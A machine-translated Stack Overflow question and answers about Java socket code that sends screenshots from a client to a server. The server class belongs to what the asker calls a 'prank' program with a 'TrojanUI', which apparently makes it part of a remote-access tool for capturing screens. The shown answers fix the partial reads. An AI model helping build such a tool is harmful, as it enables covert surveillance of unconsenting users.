2016-12-20 20 views
3

我正在開發一個惡作劇程序,但無論如何都有點用處。Java通過套接字發送屏幕截圖

目前我試圖做的是從客戶端獲取屏幕截圖並在服務器上以JFrame的形式打開屏幕截圖。

經過多次嘗試,我發現這個未解決的問題How to send images through sockets in java?

截圖通過,但它的切碎,只有約120-135kb完成。在頂級投票答案中,他在客戶端有Thread.sleep(),然後我關閉了連接,但是我沒有嘗試它,它被切斷了,所以我嘗試了它,但是它仍然被切回。我的客戶端讀取輸入數據的類在循環中,每100ms運行一次,所以我認爲它的循環速度太快,所以我將其增加到1000ms,並且它仍然被切碎。

我試着用另一種答案的東西就在同線程不同而改變在服務器端的ImageIO.read(new ByteArrayInputStream(imageAr))ImageIO.read(new ByteArrayInputStream(imageAr)),但那個時候沒有像走了進來。

這是的,我試過,當我開始原來的方法之一但這根本不起作用! https://javabelazy.blogspot.com/2013/10/sending-screenshot-from-client-to.html

服務器

package UI; 

import java.awt.image.BufferedImage; 
import java.io.ByteArrayInputStream; 
import java.io.DataInputStream; 
import java.io.DataOutputStream; 
import java.io.File; 
import java.io.IOException; 
import java.net.ServerSocket; 
import java.net.Socket; 
import java.nio.ByteBuffer; 
import javax.imageio.ImageIO; 
import javax.swing.ImageIcon; 
import javax.swing.JFrame; 
import javax.swing.JLabel; 

public class ViewScreen implements Runnable{ 
private static Thread t; 
@Override 
public void run(){ 
    //Screenshot Frame 
    final JFrame frame = new JFrame(); 
    frame.setSize(500, 500); 
    frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 
    t = new Thread(){ 
     public void run(){ 
      try{ 
       int port = 6667; 
       ServerSocket serverSocket = new ServerSocket(port); 
       Socket server = serverSocket.accept(); 
       TrojanUI.console.append("[*]Waiting for screenshot on port " + serverSocket.getLocalPort() + "...\n"); 
       DataInputStream in = new DataInputStream(server.getInputStream()); 
       DataOutputStream out = new DataOutputStream(server.getOutputStream()); 
       byte[] sizeAr = new byte[4]; 
       in.read(sizeAr); 
       int size = ByteBuffer.wrap(sizeAr).asIntBuffer().get(); 

       byte[] imageAr = new byte[size]; 
       in.read(imageAr); 

       BufferedImage image = ImageIO.read(new ByteArrayInputStream(imageAr)); 
       ImageIO.write(image, "jpg", new File("screen.jpg")); 
       server.close(); 
       JLabel label = new JLabel(); 
       label.setIcon(new ImageIcon(image)); 
       frame.getContentPane().add(label); 
      }catch(IOException e){ 
       e.printStackTrace(); 
      } 
     } 
    }; 
    t.start(); 
    frame.setVisible(true); 
} 
} 

服務器這部分代碼是一個新的線程,創建一個新的插座和一個新的JFrame顯示的屏幕截圖。我爲什麼要這樣做?在另一個線程上,我讀到只有在套接字關閉時纔會發送圖像。所以,因爲我不想要主要的套接字關閉,否則我失去了連接,我創建了另一個套接字,暫時只會打開屏幕截圖。

客戶

​​

在服務器端,我補充說,在本地創建的圖像只是如果有什麼來解決,通過另一條線。

在此先感謝

回答

3

你假設read()填充緩衝區。說明中沒有這樣說。試試這個:

int size = in.readInt(); 
byte[] imageAr = new byte[size]; 
in.readFully(imageAr); 

readInt()readFully()保證讀取正確的金額,或者在嘗試失敗。

你也給自己在發送端很難。試試這個:

out.writeInt(size); 
out.write(baos.toByteArray()); 
out.close(); 

注意flush()之前close()是多餘的,但你應該關閉外側輸出流套接字,而不是插座周圍,讓它自動刷新。

事實上,當你在每個圖像之後關閉連接時,你可以擺脫大小字和字節數組輸入/輸出流,並直接從/到插槽執行ImageIO.read/write。這將節省大量的內存。

+0

我肯定會從這個變化中獲得更好的結果。實際上,我在發送端保留'size'作爲字節數組,並在讀取端保存'size',並且我獲得了大部分屏幕,但屏幕的右側和底部都被捕獲。這可能與我使用RDP進行遠程編程有關。非常感謝! – xR34P3Rx

+0

考慮到空間和時間成本,我仍然會刪除大小字和字節數組流。不要使簡單的事情複雜化。 – EJP

+0

hehe ... @EJP,我可以問一下嗎? out.writeInt(size); out.write(baos.toByteArray()); out.close(); 對我來說很好。除非我得到規模價值,...我從哪裏得到它?圖像的int大小或什麼? – gumuruh